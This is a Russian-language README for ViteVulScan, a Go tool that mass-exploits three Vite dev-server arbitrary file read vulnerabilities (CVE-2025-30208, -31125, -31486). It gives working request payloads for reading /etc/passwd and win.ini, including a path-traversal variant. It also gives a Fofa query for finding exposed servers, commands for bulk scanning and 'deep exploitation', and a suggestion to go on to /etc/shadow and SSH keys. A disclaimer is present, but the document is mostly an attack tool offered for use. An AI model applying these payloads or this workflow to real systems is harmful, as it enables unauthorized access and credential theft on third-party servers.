ViteVulScan

Описание уязвимостей

Этот проект затрагивает 3 уязвимости: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, все они связаны с чтением произвольных файлов на сервере разработки Vite. Эти три уязвимости имеют широкое покрытие и просты в эксплуатации без ограничений.

POC уязвимостей:

CVE-2025-30208:

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Часть пути /@fs может не указываться.

Синтаксис поиска Fofa:

body="/@vite/client"

Инструкция по использованию инструмента

Особенности инструмента

1. Может взаимодействовать с fofa для массового использования.
2. Анализирует точный путь уязвимости и выполняет глубокое использование.
3. Использует возможности конкурентности Go, что позволяет быстро проводить массовое сканирование большого количества активов за короткое время.

Инструкция по сборке

Версия Go: go 1.20 и выше

Перейдите в корневую директорию проекта

Сначала синхронизируйте зависимости

go mod tidy

Затем скомпилируйте проект

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

Запустите скрипт:

./ViteVulScan

Также можно запустить проект прямо в корневой директории:

go run .

Конфигурация

Скрипт поддерживает взаимодействие с fofa для поиска активов и последующего массового сканирования.

Чтобы использовать fofa, убедитесь, что файл app.ini находится в той же директории, что и скомпилированный бинарный файл, и измените файл app.ini в каталоге config. В поле fofakey укажите свой ключ fofa, num — примерное количество активов для сканирования.

Если у вас есть более подходящий синтаксис поиска fofa для этой уязвимости, вы можете изменить поле fofaQuery самостоятельно.

Параметры командной строки

Usage of ./ViteVulScan:

Примечания

1. Для массового сканирования всех URL-целей в файле убедитесь, что в файле каждая строка содержит один URL. URL может быть полным с http или просто доменным именем/ip, например:
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. При указании параметров -fofa и -f для сканирования, активы с уязвимостью автоматически сохраняются в текущий каталог в файл с именем формата "текущая_метка_времени.csv".
3. Поддерживается использование как для Linux, так и для Windows. Словари находятся в каталоге dict: linux_sensitive_path.txt и windows_sensitive_path.txt. Если есть дополнительные чувствительные пути, их можно добавить в соответствующие словари.

Примеры

Пример 1: Взаимодействие с fofa для массового сканирования:

./ViteVulScan -fofa

После завершения сканирования в каталоге result появится CSV-файл с URL-адресами успешно использованных уязвимостей, названный по временной метке:

Пример 2: Глубокое использование уязвимости для URL:

./ViteVulScan -u example.com -e

Если отображается "Использование успешно", можно проверить каталог result. Там будет подкаталог с именем сканированного URL. Содержимое чувствительных файлов будет декодировано и сохранено в исходном формате. Результат:

Например, в сохранённом файле result/localhost:5173/etc/passwd видно полное содержимое чувствительной информации, что удобно для дальнейшего использования (если удастся прочитать /etc/shadow или SSH-ключи сервера, можно использовать дальше).

Отказ от ответственности

Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования. Не используйте его в незаконных целях. Ответственность за любое неавторизованное тестирование с использованием данного инструмента несёт пользователь.

Обновления

29 марта — первый выпуск:

• Реализована функция сбора активов через fofa.
• Реализована проверка уязвимости CVE_2025_30208.
• Добавлена функция обработки аргументов командной строки.

1 апреля:

• Добавлена функция глубокого использования.

2 апреля:

• Добавлена проверка новой уязвимости CVE_2025_31125.

9 апреля:

• Исправлены ошибки в модуле fofa.
• Добавлена конкурентность для быстрого массового сканирования активов на наличие уязвимости.
• Добавлена проверка CVE_2025_31486.
• Изменена структура файлов проекта.